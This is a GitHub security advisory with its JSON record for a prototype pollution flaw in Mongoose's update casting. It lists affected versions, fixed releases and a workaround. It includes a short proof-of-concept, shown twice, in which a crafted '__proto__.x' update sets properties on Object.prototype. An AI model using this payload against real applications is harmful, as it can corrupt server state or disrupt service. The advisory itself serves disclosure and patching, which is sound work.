GHSA-664H-WQGQ-64GW

Vulnerability from github – Published: 2026-07-24 16:22 – Updated: 2026-08-13 17:27
VLAI
Summary
Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)
Details

Impact

What kind of vulnerability is it? Who is impacted?

Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.

Example:

const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath);            // undefined

const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}');   // attacker-controlled update

const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }

console.log('after :', Object.prototype.$fullPath);            // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true
console.log('fresh {}:', ({}).$fullPath);                      // "__proto__"

Patches

Has the problem been patched? What versions should users upgrade to?

9.7.2, 8.24.1. 7.8.10, 6.13.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Check user-controlled updates for own __proto__ properties before passing to Mongoose

References

Are there any links users can visit to find out more?

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.13.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.8.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.24.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73562"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:22:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nPrototype pollution in update casting: passing a user-controlled update to a Mongoose update, like `MyModel.updateOne(filter, req.body)`, can cause Mongoose to set `$fullPath` and `$parentSchemaDocArray` on `Object.prototype`.\n\nExample:\n\n```javascript\nconst mongoose = require(\u0027mongoose\u0027);\nconsole.log(\u0027before:\u0027, Object.prototype.$fullPath);            // undefined\n\nconst User = mongoose.model(\u0027User\u0027, new mongoose.Schema({ name: String }));\nconst malicious = JSON.parse(\u0027{\"$set\": {\"__proto__.x\": \"anything\"}}\u0027);   // attacker-controlled update\n\nconst q = User.updateOne({}, {});\ntry { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }\n\nconsole.log(\u0027after :\u0027, Object.prototype.$fullPath);            // \"__proto__\"\nconsole.log(\u0027enumerable:\u0027, Object.prototype.propertyIsEnumerable(\u0027$fullPath\u0027));  // true\nconsole.log(\u0027fresh {}:\u0027, ({}).$fullPath);                      // \"__proto__\"\n```\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n9.7.2, 8.24.1. 7.8.10, 6.13.10\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nCheck user-controlled updates for own `__proto__` properties before passing to Mongoose\n\n### References\n_Are there any links users can visit to find out more?_",
  "id": "GHSA-664h-wqgq-64gw",
  "modified": "2026-08-13T17:27:25Z",
  "published": "2026-07-24T16:22:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/security/advisories/GHSA-664h-wqgq-64gw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/pull/16230"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/commit/f494b8430f9097fc70446d6949c8a42a27518e0b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Automattic/mongoose"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/releases/tag/6.13.10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/releases/tag/7.8.10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/releases/tag/8.24.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/releases/tag/9.7.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)"
}



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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


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